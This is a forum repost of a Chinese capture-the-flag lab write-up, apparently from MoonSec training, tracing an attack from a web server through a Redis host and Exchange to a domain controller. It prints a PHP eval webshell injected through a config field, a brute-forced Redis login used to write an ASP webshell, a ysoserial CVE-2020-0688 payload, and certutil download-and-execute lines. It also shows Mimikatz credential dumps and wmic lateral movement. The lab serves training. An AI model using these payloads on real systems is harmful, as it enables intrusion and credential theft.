搜索

[26729] 2021-06-07_暗月培训出师考核靶场wp-从外网打点到内网域控

文档创建者：s7ckTeam
浏览次数：28
最后更新：2025-01-19
2021-06-07_暗月培训出师考核靶场wp-从外网打点到内网域控 1 暗 月 培 训 出 师 考 核 靶 场 w p - 从 外 网 打 点 到 内 网 域 控 原 创   F o r g e 2   m o o n s e c   2 0 2 1 - 0 6 - 0 7 收 录 于 话 题 # 渗 透 测 试   信 息 安 全   , 2 1 # 网 安   , 9 项 目 前 言 项 目 前 言 每 两 个 月 一 出 师 考 核   这 是 近 一 期 的 考 核 成 员   也 是 该 项 目 第 二 个 完 成 项 目 的 成 员 环 境 介 绍 环 境 介 绍 其 中 其 中 1 9 2 . 1 6 8 . 5 9 . 1 3 3   存 在 杀 软 杀 软 ( 火 绒 火 绒 ) ,   可 通 外 网 可 通 外 网 ,   可 访 问 s e r v e r - r e d i s 1 9 2 . 1 6 8 . 5 9 . 4 / 1 0 . 1 0 . 1 0 . 2 0 2   不 通 外 网 不 通 外 网 ， 可 以 通 内 网 两 个 机 器 ， 也 可 以 访 问 到 机 器   s e r v e r - b t , 1 0 . 1 0 . 1 0 . 2 0 9   为 邮 服 邮 服 ,   只 能 内 网 机 器 互 相 访 问 1 0 . 1 0 . 1 0 . 2 0 1   为   D C 第 一 层 第 一 层   s e r v e r - b t ( 1 9 2 . 1 6 8 . 5 9 . 1 3 3 ) 目 标 入 口 h t t p : / / w w w . c o c a t . c c / 源 码 h t t p : / / w w w . c o c a t . c c / w e b . z i p   解 压 源 码 进 行 代 码 审 计 部 分 源 码 是 z e n d 加 密 ， 所 以 如 果 要 仔 细 阅 读 代 码 逻 辑 以 及 配 置 文 件 ， 可 以 找 在 线 的 工 具 进 行 Z e n d 5 3 解 密 相 关 配 置 文 件 相 关 配 置 文 件 ( Z e n d 解 密 后 解 密 后 ) k s s _ i n c / _ c o n f i g . p h p k s s _ i n c / b i n _ i n c . p h p k s s _ i n c / b i n _ i n c _ w i n . p h p 漏 洞 点 漏 洞 点   / k s s _ t o o l / r e s e t . p h p 该 文 件 主 要 是 设 置 M y S Q L 服 务 器 地 址 的 主 要 代 码 主 要 代 码 < ? p h p r e q u i r e ( ' . . / k s s _ i n c / _ c o n f i g . p h p ' ) ; $ r e t s t r i n g = ' ' ; $ m m y s q l h o s t = ' l o c a l h o s t ' ; $ m m y s q l u s e r = ' ' ; $ m m y s q l p a s s w o r d = ' ' ; $ m m y s q l d b = ' ' ; $ s s a f e p a s s w o r d = ' ' ; i f ( i s s e t ( $ _ P O S T [ ' m y s q l h o s t ' ] ) ) {       $ s s a f e p a s s w o r d = $ _ P O S T [ ' s a f e p a s s w o r d ' ] ; / / 判 断 s a f e p a s s w o r d 参 数 是 否 等 于 定 义 的 M Y S Q L B A K P A S S W O R D       i f ( m d 5 ( $ _ P O S T [ ' s a f e p a s s w o r d ' ] ) ! = M Y S Q L B A K P A S S W O R D ) {               e x i t ( ' 安 全 接 口 密 码 错 误 ' ) ;       }   . . . . . 省 略 n 个 字 节 的 代 码 . . . .       i f ( ! m y s q l _ s e l e c t _ d b ( $ m m y s q l d b , $ c o n n ) ) { $ r e t s t r i n g = ' e r r , 没 找 到 数 据 库 ' . m y s q l _ e r r o r ( ) ;
2 3   进 行 攻 击 P a y l o a d 构 造 攻 击 地 址 : h t t p : / / w w w . c o c a t . c c / k s s _ t o o l / r e s e t . p h p 这 里 需 要 重 新 配 置 M y S Q L 服 务 器 的 地 址 ， 因 为 我 们 不 知 道 服 务 器 本 地 的 帐 号 密 码 所 以 这 里 我 们 自 己 搭 建 一 个 外 网 的 M y S Q L 进 行 操 作 检 查 安 全 接 口 密 码 ( 配 置 文 件 默 认 有 写 ) :   d 9 4 3 5 4 a c 9 c f 3 0 2 4 f 5 7 4 0 9 b d 7 4 e e c 6 b 4 c   解 密 后 为   a d m i n a d m i n a d m i n 选 择   备 服 备 服 重 配 置 数 据 库 数 据 库 主 机 :   自 己 的 外 网 服 务 器 I P 数 据 库 用 户 名 、 密 码 按 照 自 己 的 M y S Q L 服 务 器 来 数 据 库 名 ( 重 要 ) :   f u c k ' ) ; @ e v a l ( $ _ P O S T [ ' c ' ] ) ; / / 返 回 内 容 返 回 内 容 数 据 库 用 户 名 ： k s s _ C L m k w J 3 Q V n 数 据 库 密 码 ： 4 D J Y 2 S t z 9 D l C 8 b 5 W 数 据 库 名 ： f u c k ' ) ; @ e v a l ( $ _ P O S T [ ' c ' ] ) ; / / 配 置 文 件 . . / k s s _ i n c / _ c o n f i g . p h p 更 新 完 成   查 看 权 限 ， 并 读 取 f l a g ( * ) 基 础 信 息 当 前 路 径 : C : / w w w r o o t / w w w . c o c a t . c c / k s s _ i n c 磁 盘 列 表 : C : 系 统 信 息 : W i n d o w s   N T   1 2 S E R V E R - B T   6 . 2   b u i l d   9 2 0 0   ( U n k n o w   W i n d o w s   v e r s i o n S t a n d a r d   E d i t i o n )   i 5 8 6 当 前 用 户 : S Y S T E M ( * ) 输 入 a s h e l p 查 看 本 地 命 令 C : w w w r o o t w w w . c o c a t . c c k s s _ i n c > w h o a m i n t a u t h o r i t y s y s t e m $ r e t s t r i n g = ' e r r , 没 找 到 数 据 库 ' . m y s q l _ e r r o r ( ) ;             } e l s e {               / / 读 取 / k s s _ i n c / _ c o n f i g . p h p $ c d = f i l e _ g e t _ c o n t e n t s ( " . . / k s s _ i n c / _ c o n f i g . p h p " ) ; $ c d = m c o 2 ( $ c d , ' I S 2 S V R ' , $ n i s 2 s v r ) ; $ c d = m c o 2 ( $ c d , ' S V R I D ' , $ n s v r i d ) ; i f ( $ n s v r i d = = 1 ) {                   / / $ n s v r i d   等 于 1 的 时 候 ， 替 换 配 置 文 件 中 的 一 些 字 段                   / /                         1 是 替 换 主 服 务 器 地 址 （ 具 有 破 坏 性 ， 主 M y S Q L 服 务 器 难 以 恢 复 ）                   / /                         2   是 替 换 从 服 务 器 地 址                   / / m c o 函 数 这 个 代 码 里 面 也 有 定 义 ， 可 以 自 己 查 阅 $ c d = m c o ( $ c d , ' M Y S Q L 1 H o s t N a m e O r I p ' , $ m m y s q l h o s t ) ; $ c d = m c o ( $ c d , ' M Y S Q L 1 U s e r N a m e ' , $ m m y s q l u s e r ) ; $ c d = m c o ( $ c d , ' M Y S Q L 1 P a s s w o r d ' , $ m m y s q l p a s s w o r d ) ; $ c d = m c o ( $ c d , ' M Y S Q L 1 D a t a B a s e N a m e ' , $ m m y s q l d b ) ; $ c d = m c o ( $ c d , ' M Y S Q L 2 H o s t N a m e O r I p ' , ' ' ) ; $ c d = m c o ( $ c d , ' M Y S Q L 2 U s e r N a m e ' , ' ' ) ; $ c d = m c o ( $ c d , ' M Y S Q L 2 P a s s w o r d ' , ' ' ) ; $ c d = m c o ( $ c d , ' M Y S Q L 2 D a t a B a s e N a m e ' , ' ' ) ;               }       . . . . . . . . 省 略 n + 1 个 字 节 的 代 码 . . . . . .           / / 将 修 改 完 成 的 内 容 重 新 写 入 到 _ c o n f i g . p h p 中           / / 这 里 我 们 就 可 以 将 s h e l l 写 入 到 这 个 _ c o n f i g . p h p 文 件         $ c d = f i l e _ p u t _ c o n t e n t s ( " . . / k s s _ i n c / _ c o n f i g . p h p " , $ c d ) ; $ r e t s t r i n g . = ' 配 置 文 件 . . / k s s _ i n c / _ c o n f i g . p h p 更 新 完 成 < b r > ' ; 连 接   s h e l l h t t p : / / w w w . c o c a t . c c / k s s i n c / c o n f i g . p h p   密 码   c 蚁 剑 连 接 s h e l l ， 并 查 看   _ c o n f i g . p h p   我 们 写 入 木 马 的 部 分 d e f i n e ( ' M Y S Q L 2 H o s t N a m e O r I p ' , ' 马 赛 克 ' ) ;     / / 备 服 数 据 库 主 机 名 或 I P d e f i n e ( ' M Y S Q L 2 U s e r N a m e ' , ' k s s _ C L m k w J 3 Q V n ' ) ;           / / 备 服 数 据 库 用 户 名 d e f i n e ( ' M Y S Q L 2 P a s s w o r d ' , ' 4 D J Y 2 S t z 9 D l C 8 b 5 W ' ) ;             / / 备 服 数 据 库 密 码 d e f i n e ( ' M Y S Q L 2 D a t a B a s e N a m e ' , ' f u c k ' ) ; @ e v a l ( $ _ P O S T [ ' c ' ] ) ; / / ' ) ;     / / 备 服 数 据 库 名
5 C : w w w r o o t w w w . c o c a t . c c k s s _ i n c > t y p e   C : U s e r s A d m i n i s t r a t o r r o o t . t x t f l a g { m o o n s e c - 马 赛 克 - 1 } 第 二 层 第 二 层 s e r v e r - r e d i s ( 1 9 2 . 1 6 8 . 5 9 . 4 / 1 0 . 1 0 . 1 0 . 2 0 2 ) 已 知   s e r v e r - b t 已 经 拿 下 ， 并 且 s e r v e r - b t 是 通 第 二 台 机 器 的 ， 且 s e r v e r - r e d i s 不 能 出 网 这 里 使 用 E W 进 行 s o c k s 代 理 ， 通 过 s e r v e r - b t 作 为 跳 板 ， 去 日 第 二 个 机 器 0 x 0 0   设 置 反 向 代 理 设 置 反 向 代 理 V P S 执 行 执 行 . / e w _ f o r _ l i n u x 6 4 - s   r c s o c k s   - l   1 0 0 8   - e   8 0 8 5 s e r v e r - b t 执 行 执 行 E W h e r e . e x e - s   r s s o c k s   - d   4 7 . 1 0 2 . 1 2 1 . 3 5   - e   8 0 8 5 0 x 0 1   p r o x y c h a i n s 4   代 理 去 爆 破 代 理 去 爆 破 r e d i s ( 这 里 经 过 验 证 是 没 办 法 做 未 授 权 的 这 里 经 过 验 证 是 没 办 法 做 未 授 权 的 ) 配 置 配 置   p r o x y c h a i n s 4 [ r o o t @ i z f q 5 3 0 y m x b i 6 l z ~ ] #   c a t   / e t c / p r o x y c h a i n s . c o n f   |   t a i l   - n   3 s o c k s 5 1 2 7 . 0 . 0 . 1   1 0 0 8 # s o c k s 4                 1 2 7 . 0 . 0 . 1   9 0 5 0 测 试 连 通 性 测 试 连 通 性 0 x 0 2   使 用 使 用 p y t h o n 编 写 的 编 写 的 r e d i s 爆 破 脚 本 进 行 爆 破 爆 破 脚 本 进 行 爆 破 , 得 到 密 码 得 到 密 码 使 用 使 用 r e d i s - c l i 工 具 进 行 连 接 测 试 工 具 进 行 连 接 测 试 [ r o o t @ i z f q 5 3 0 y m x b i 6 l z ~ ] #   p r o x y c h a i n s 4   c u r l   1 9 2 . 1 6 8 . 5 9 . 4   - I [ p r o x y c h a i n s ] c o n f i g   f i l e   f o u n d :   / e t c / p r o x y c h a i n s . c o n f [ p r o x y c h a i n s ] p r e l o a d i n g   / u s r / l i b / l i b p r o x y c h a i n s 4 . s o [ p r o x y c h a i n s ] D L L   i n i t :   p r o x y c h a i n s - n g   4 . 1 4 - g i t - 4 0 - g 6 a f 2 6 8 6 [ p r o x y c h a i n s ] S t r i c t   c h a i n     . . .     1 2 7 . 0 . 0 . 1 : 1 0 0 8     . . .     1 9 2 . 1 6 8 . 5 9 . 4 : 8 0     . . .   O K H T T P / 1 . 1 2 0 0   O K C o n t e n t - L e n g t h : 7 0 1 C o n t e n t - T y p e : t e x t / h t m l L a s t - M o d i f i e d : T u e ,   2 7   A p r   2 0 2 1   1 2 : 5 0 : 0 7   G M T A c c e p t - R a n g e s : b y t e s E T a g : " c 3 f d b 9 d 9 6 3 3 b d 7 1 : 0 " S e r v e r : M i c r o s o f t - I I S / 8 . 5 D a t e : T h u ,   1 3   M a y   2 0 2 1   1 8 : 1 1 : 1 1   G M T [ r o o t @ i z f q 5 3 0 y m x b i 6 l z ~ ] #   p r o x y c h a i n s 4   p y t h o n 3   r e d i s . p y   1 9 2 . 1 6 8 . 5 9 . 4 B R U T E : 1 9 2 . 1 6 8 . 5 9 . 4 : 6 3 7 9 [ I N F O ] c o n n e c t i n g   1 9 2 . 1 6 8 . 5 9 . 4 : 6 3 7 9 [ p r o x y c h a i n s ] S t r i c t   c h a i n     . . .     1 2 7 . 0 . 0 . 1 : 1 0 0 8     . . .     1 9 2 . 1 6 8 . 5 9 . 4 : 6 3 7 9     . . .   O K [ I N F O ] c o n n e c t e d   1 9 2 . 1 6 8 . 5 9 . 4 : 6 3 7 9   h a c k i n g . . . [ H A C K I N G ] h a c k i n g   t o   p a s s w d   - - >   1 2 3 4 5 6 [ H A C K I N G ] h a c k i n g   t o   p a s s w d   - - >   1 2 3 4 5 6 7 8 9 [ H A C K I N G ] h a c k i n g   t o   p a s s w d   - - >   a 1 2 3 4 5 6 [ H A C K I N G ] h a c k i n g   t o   p a s s w d   - - >   a 1 2 3 4 5 6 7 8 9 [ H A C K I N G ] h a c k i n g   t o   p a s s w d   - - >   1 2 3 4 5 [ H A C K I N G ] h a c k i n g   t o   p a s s w d   - - >   1 1 1 1 1 1 [ H A C K I N G ] h a c k i n g   t o   p a s s w d   - - >   1 2 3 1 2 3 [ H A C K I N G ] h a c k i n g   t o   p a s s w d   - - >   w o a i n i 1 3 1 4 [ H A C K I N G ] h a c k i n g   t o   p a s s w d   - - >   z x c v b n m [ H A C K I N G ] h a c k i n g   t o   p a s s w d   - - >   q q 1 2 3 4 5 6 [ H A C K I N G ] h a c k i n g   t o   p a s s w d   - - >   p a s s w o r d . . . . . . . [ H A C K I N G ] h a c k i n g   t o   p a s s w d   - - >   1 2 3 4 5 6 7 8 9 9 [ H A C K I N G ] h a c k i n g   t o   p a s s w d   - - >   1 4 7 2 5 8 3 6 9 0 [ H A C K I N G ] h a c k i n g   t o   p a s s w d   - - >   1 3 1 4 5 2 0 5 2 0 [ H A C K I N G ] h a c k i n g   t o   p a s s w d   - - >   1 2 3 4 5 6 7 8 9 q q I P : 1 9 2 . 1 6 8 . 5 9 . 4 存 在 弱 口 令 ， 密 码 ： q w e 1 2 3 @ ! [ r o o t @ i z f q 5 3 0 y m x b i 6 l z ~ ] #   p r o x y c h a i n s 4     r e d i s - c l i   - h   1 9 2 . 1 6 8 . 5 9 . 4   - a   q w e 1 2 3 @ ! [ p r o x y c h a i n s ] c o n f i g   f i l e   f o u n d :   / e t c / p r o x y c h a i n s . c o n f [ p r o x y c h a i n s ] p r e l o a d i n g   / u s r / l i b / l i b p r o x y c h a i n s 4 . s o [ p r o x y c h a i n s ] D L L   i n i t :   p r o x y c h a i n s - n g   4 . 1 4 - g i t - 4 0 - g 6 a f 2 6 8 6 [ p r o x y c h a i n s ] S t r i c t   c h a i n     . . .     1 2 7 . 0 . 0 . 1 : 1 0 0 8     . . .     1 9 2 . 1 6 8 . 5 9 . 4 : 6 3 7 9     . . .   O K 1 9 2 . 1 6 8 . 5 9 . 4 : 6 3 7 9 > i n f o # S e r v e r r e d i s _ v e r s i o n : 3 . 2 . 1 0 0 r e d i s _ g i t _ s h a 1 : 0 0 0 0 0 0 0 0 r e d i s _ g i t _ d i r t y : 0
0 x 0 3   备 份 文 件 写 备 份 文 件 写 S h e l l 0 x 0 4   通 过 代 理 蚁 剑 进 行 连 接 这 个 通 过 代 理 蚁 剑 进 行 连 接 这 个 s h e l l , 并 查 看 权 限 并 查 看 权 限 ( * ) 基 础 信 息 当 前 路 径 : C : / i n e t p u b / w w w r o o t 磁 盘 列 表 : C : D : ( * ) 输 入 a s h e l p 查 看 本 地 命 令 C : i n e t p u b w w w r o o t > w h o a m i i i s a p p p o o l d e f a u l t a p p p o o l C : i n e t p u b w w w r o o t > 0 x 0 5   提 权 提 权 查 看 查 看 s y s t e m i n f o 对 比 补 丁 找 对 比 补 丁 找 e x p 提 权 提 权 根 据 查 找 的 结 果 直 接 上 根 据 查 找 的 结 果 直 接 上 S w e e t p o t a t o 1 9 2 . 1 6 8 . 5 9 . 4 : 6 3 7 9 > c o n f i g   s e t   d i r   " C : i n e t p u b w w w r o o t " O K 1 9 2 . 1 6 8 . 5 9 . 4 : 6 3 7 9 > c o n f i g   s e t   d b f i l e n a m e   " f o r g e . a s p " O K 1 9 2 . 1 6 8 . 5 9 . 4 : 6 3 7 9 > s e t   x   " < % e v a l   r e q u e s t ( " c h o p p e r " ) % > " [ p r o x y c h a i n s ] S t r i c t   c h a i n     . . .     1 2 7 . 0 . 0 . 1 : 1 0 0 8     . . .     1 9 2 . 1 6 8 . 5 9 . 4 : 6 3 7 9     . . .   O K O K ( 0 . 7 8 s ) 1 9 2 . 1 6 8 . 5 9 . 4 : 6 3 7 9 > s a v e O K ➜     W i n d o w s - E x p l o i t - S u g g e s t e r g i t : ( m a s t e r )   ✗   p y t h o n   w i n d o w s - e x p l o i t - s u g g e s t e r . p y   - d 2 0 2 1 - 0 5 - 1 2 - m s s b . x l s   - - s y s t e m i n f o   i n f o 2 . t x t   - - o s t e x t   " w i n d o w s 2 0 1 2   R 2 "   - l C : R e d i s S w e e t p o t a t o . e x e - c   { 4 9 9 1 d 3 4 b - 8 0 a 1 - 4 2 9 1 - 8 3 b 6 - 3 3 2 8 3 6 6 b 9 0 9 7 }   - a   " w h o a m i "
但 是 这 里 遇 到 了 无 回 显 ， 可 能 是 但 是 这 里 遇 到 了 无 回 显 ， 可 能 是 w e b s h e l l 的 原 因 ， 手 里 也 没 有 的 原 因 ， 手 里 也 没 有 w e b s h e l l 版 的 ， 索 性 就 上 了 版 的 ， 索 性 就 上 了 C o b a l t S t r i k e 这 里 上 的 话 ， 还 是 要 先 把 s e r v e r - b t   的 s h e l l 上 了 ， 由 于 机 器 是 带 火 绒 的 ， 所 以 这 里 要 做 一 下 免 杀 省 略 免 杀 部 分 ， 火 绒 免 杀 有 手 就 行 0 x 0 6   s p a w n 一 个 一 个 S M B   B e a c o n 这 里 因 为 第 二 层 s e r v e r - r e d i s 是 不 通 网 的 ， 且 只 能 连 接 s e r v e r - b t 所 以 我 们 没 办 法 发 让 第 二 个 机 器 直 接 上 线 到 我 们 c s ， 这 里 只 有 通 过 把 s e r v e r - b t 作 为 跳 板 机 ， 让 s e r v e r - r e d i s 连 接 到 s e r v e r - b t   上 ， 再 回 传 给   c s - s e r v e r 创 建 创 建 S M B   B e a c o n s p a w n 一 个 新 的 会 话 一 个 新 的 会 话 创 建 一 个 创 建 一 个 r e v e r s e 的 的 L i s t e n e r ( P i v o t i n g   - - >   L i s t e n e r ) 这 里 创 建 一 个   r e v e r s e 的   l i s t e n e r 是 因 为 ， s e r v e r - r e d i s 不 出 网 ， 所 以 用 这 样 的 方 式 去 反 向 连 接 到 s e r v e r - b t
6 生 成 生 成 s t a g e l e s s 的 的 e x e ， 让 ， 让 s e r v e r - r e d i s 执 行 执 行   ( A t t a c k s   - - > P a c k a g e s   - - >   W i n d o w s   E x e c u t a b l e   ( S )   ) s e r v e r - r e d i s   上 线 上 线 现 在 进 行 提 权 ， 用 现 在 进 行 提 权 ， 用 S w e e t P o t a t o 进 行 提 权 ， 并 运 行 刚 才 生 成 的 进 行 提 权 ， 并 运 行 刚 才 生 成 的 e x e ,   可 以 得 到 一 个 可 以 得 到 一 个 s y s t e m 权 限 的 权 限 的 S H E L L 这 里 多 做 了 一 步 普 通 权 限 的 操 作 ， 大 可 不 必 直 接 冲 直 接 冲 F l a g 第 三 层   s e r v e r - e x ( 1 0 . 1 0 . 1 0 . 2 0 9 ) 这 台 机 器 依 旧 不 出 网 ， 老 办 法 ， 让 他 走 上 一 台 机 器 过 就 O K ， 反 向 连 接 s e r v e r - r e d i s 然 后 代 理   s e r v e r - r e d i s 去 日 e x c h a n g e 这 里 在   s e r v e r - r e d i s 服 务 器 上 找 到 的 俩   p s t ( 不 知 道 谁 放 到 服 务 器 上 的 r u l e r ， 让 我 爆 破 ， 还 放 了 帐 号 密 码 ， 确 实 浪 费 了 一 天 的 时 间 ) 通 过 俩 p s t 倒 入 o u t l o o k 可 以 看 到 e x c h a n g e 的 一 个 账 号 密 码 m o o n s e c   Q Q q q 5 2 0 1 3 1 4 0 x 0 0   创 建 创 建   s e r v e r - r e d i s 的 的 S M B   B e a c o n ,   并 监 听 和 生 成 木 马 并 监 听 和 生 成 木 马 这 里 的   L i s t e n e r 的 I P 一 定 要 写 成 s e r v e r - e x   能 访 问 到 的 I P ， 不 然 他 运 行 木 马 的 时 候 找 不 到 该 给 哪 个 服 务 器 传 输 数 据 b e a c o n > s h e l l   t y p e   C : U s e r s A d m i n i s t r a t o r r o o t . t x t [ * ] T a s k e d   b e a c o n   t o   r u n :   t y p e   C : U s e r s A d m i n i s t r a t o r r o o t . t x t [ + ] h o s t   c a l l e d   h o m e ,   s e n t :   7 0   b y t e s [ + ] r e c e i v e d   o u t p u t : f l a g { m o o n s e c - 马 赛 克 - 2 }
8 0 x 0 1   登 录 登 录 E x c h a n g e ， 找 到 ， 找 到 V i e w S t a t e U s e r K e y 和 和 V I E W S T A T E G E N E R A T O R （ 这 里 利 用 到 的 是 （ 这 里 利 用 到 的 是 C V E - 2 0 2 0 - 0 6 8 8   R C E ） ） 使 用 使 用 y s o s e r i a l . e x e 生 成 攻 击 的 生 成 攻 击 的 P a y l o a d 生 成 的 生 成 的 p a y l o a d ， 拼 接 成 攻 击 的 连 接 ， 拼 接 成 攻 击 的 连 接 , 反 弹 反 弹 s h e l l ， 得 到 ， 得 到 E x c h a n g e 服 务 器 的 服 务 器 的 S y s t e m 权 限 的 会 话 权 限 的 会 话 0 x 0 2   读 取 读 取 f l a g 第 三 层   s e r v e r - d c ( 1 0 . 1 0 . 1 0 . 2 0 1 ) 这 个 机 器 可 以 被 s e r v e r - r e d i s   和   s e r v e r - e x   访 问 到 相 对 简 单 些 ， 我 们 e x 都 已 经 拿 到 s y s t e m 权 限 了 ， 只 需 要 能 读 取 到 本 地 有 d c 账 号 记 录 ， 那 就 可 以 直 接 用 w m i c 横 行 操 作 一 波 0 x 0 0   M i m i k a t z 大 法 好 大 法 好 b e a c o n > l o g o n p a s s w o r d s [ * ] T a s k e d   b e a c o n   t o   r u n   m i m i k a t z ' s   s e k u r l s a : : l o g o n p a s s w o r d s   c o m m a n d [ + ] h o s t   c a l l e d   h o m e ,   s e n t :   2 9 6 0 5 8   b y t e s [ + ] r e c e i v e d   o u t p u t : A u t h e n t i c a t i o n I d   :   0   ;   4 1 7 7 9 0 8 9 2   ( 0 0 0 0 0 0 0 0 : 1 8 e 6 f b a c ) S e s s i o n                     :   N e t w o r k C l e a r t e x t   f r o m   0 U s e r N a m e                   :   m o o n s e c D o m a i n                       :   C N C A T L o g o n S e r v e r             :   1 2 S E R V E R - D C L o g o n T i m e                 :   2 0 2 1 / 5 / 1 3   2 3 : 0 6 : 1 7 S I D                             :   S - 1 - 5 - 2 1 - 2 9 6 5 9 1 6 2 7 - 6 8 5 4 9 6 1 6 5 - 1 4 0 8 6 8 3 9 9 6 - 1 1 4 8 m s v :   [ 0 0 0 0 0 0 0 3 ]   P r i m a r y *   U s e r n a m e   :   m o o n s e c *   D o m a i n       :   C N C A T *   N T L M           :   7 1 e c 3 0 a b 2 1 1 5 e 6 f 8 c f 1 1 3 e 4 9 7 d f 7 8 3 9 c *   S H A 1           :   e 9 2 3 3 c 1 3 a c f d 7 7 3 e c e a 4 1 a 3 c 5 0 1 2 e e a 2 2 6 e 7 d d d f t s p k g :   w d i g e s t :   *   U s e r n a m e   :   m o o n s e c . . . . . . . . . 重 点 关 注 重 点 关 注 A u t h e n t i c a t i o n I d   :   0   ;   1 3 7 2 8 7 4 7   ( 0 0 0 0 0 0 0 0 : 0 0 d 1 7 b e b ) # 这 里 我 是 在 s e r v e r - r e d i s 的 i i s 下 面 放 了 我 反 向 连 接 到 s e r v e r - r e d i s 的 木 马 y s o s e r i a l . e x e - p   V i e w S t a t e   - g   T e x t F o r m a t t i n g R u n P r o p e r t i e s   - c   " c m d . e x e   / c c e r t u t i l   - u r l c a c h e   - s p l i t   - f   h t t p : / / 1 0 . 1 0 . 1 0 . 2 0 2 / b e a c o n . e x e   a . e x e   & & a . e x e   "   - - v a l i d a t i o n a l g = " S H A 1 " - - v a l i d a t i o n k e y = h t t p s : / / 1 0 . 1 0 . 1 0 . 2 0 9 / e c p / d e f a u l t . a s p x ? _ _ V I E W S T A T E G E N E R A T O R = B 9 7 B 4 E 2 7 & _ _ V I E W S T A T E = % 2 F w E y i g c A A Q A A A P % 2 F % 2 F % 2 F % 2 F 8 B A A A A A A A A A A w C A A A A X k 1 p Y 3 . . . . . F K d n i 0 r n u N X g 6 J w % 3 D % 3 D b e a c o n > s h e l l   t y p e   C : U s e r s A d m i n i s t r a t o r r o o t . t x t [ * ] T a s k e d   b e a c o n   t o   r u n :   t y p e   C : U s e r s A d m i n i s t r a t o r r o o t . t x t [ + ] h o s t   c a l l e d   h o m e ,   s e n t :   7 0   b y t e s [ + ] r e c e i v e d   o u t p u t : f l a g { m o o n s e c - 马 赛 克 - 3 }
9 S e s s i o n                     :   I n t e r a c t i v e   f r o m   1 U s e r N a m e                   :   a d m i n i s t r a t o r D o m a i n                       :   C N C A T L o g o n S e r v e r             :   1 2 S E R V E R - D C L o g o n T i m e                 :   2 0 2 1 / 4 / 2 8   2 3 : 4 5 : 2 4 S I D                             :   S - 1 - 5 - 2 1 - 2 9 6 5 9 1 6 2 7 - 6 8 5 4 9 6 1 6 5 - 1 4 0 8 6 8 3 9 9 6 - 5 0 0 m s v :   [ 0 0 0 0 0 0 0 3 ]   P r i m a r y *   U s e r n a m e   :   A d m i n i s t r a t o r *   D o m a i n       :   C N C A T *   N T L M           :   4 2 e 2 6 5 6 e c 2 4 3 3 1 2 6 9 f 8 2 1 6 0 f f 5 9 6 2 3 8 7 *   S H A 1           :   2 0 2 a 4 f 2 5 2 f a 7 1 6 b 1 6 c c 9 3 4 c 1 1 4 a 2 b 4 4 2 3 a d d 4 1 0 d [ 0 0 0 1 0 0 0 0 ]   C r e d e n t i a l K e y s *   N T L M           :   4 2 e 2 6 5 6 e c 2 4 3 3 1 2 6 9 f 8 2 1 6 0 f f 5 9 6 2 3 8 7 *   S H A 1           :   2 0 2 a 4 f 2 5 2 f a 7 1 6 b 1 6 c c 9 3 4 c 1 1 4 a 2 b 4 4 2 3 a d d 4 1 0 d . . . . . . N T L M 解 密 结 果 为 解 密 结 果 为   Q W E a s d 1 2 3 0 x 0 1   结 果 就 很 简 单 ， 直 接 用 结 果 就 很 简 单 ， 直 接 用 w m i c 给 给 d c 创 建 一 个 进 程 ， 让 他 反 向 连 接 到 创 建 一 个 进 程 ， 让 他 反 向 连 接 到 s e r v e r - r e d i s 0 x 0 2   读 取 读 取 F l a g b e a c o n > s h e l l   t y p e   C : U s e r s A d m i n i s t r a t o r r o o t . t x t [ * ] T a s k e d   b e a c o n   t o   r u n :   t y p e   C : U s e r s A d m i n i s t r a t o r r o o t . t x t [ + ] h o s t   c a l l e d   h o m e ,   s e n t :   7 0   b y t e s [ + ] r e c e i v e d   o u t p u t : f l a g { m o o n s e c - 马 赛 克 - 4 } 完 结 撒 花 完 结 撒 花   关 注 本 公 众 号 本 公 众 号   不 定 期 更 新 安 全 类 文 章 和 视 频 欢 迎 前 来 关 注 暗 月 的 个 人 微 信 w m i c / n o d e : 1 0 . 1 0 . 1 0 . 2 0 1   / u s e r : A d m i n i s t r a t o r   / p a s s w o r d : Q W E a s d 1 2 3   p r o c e s s c a l l   c r e a t e   " c m d   / c   c e r t u t i l   - u r l c a c h e   - s p l i t   - f h t t p : / / 1 0 . 1 0 . 1 0 . 2 0 2 / b e a c o n . e x e   a . e x e   & &   a . e x e   "
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理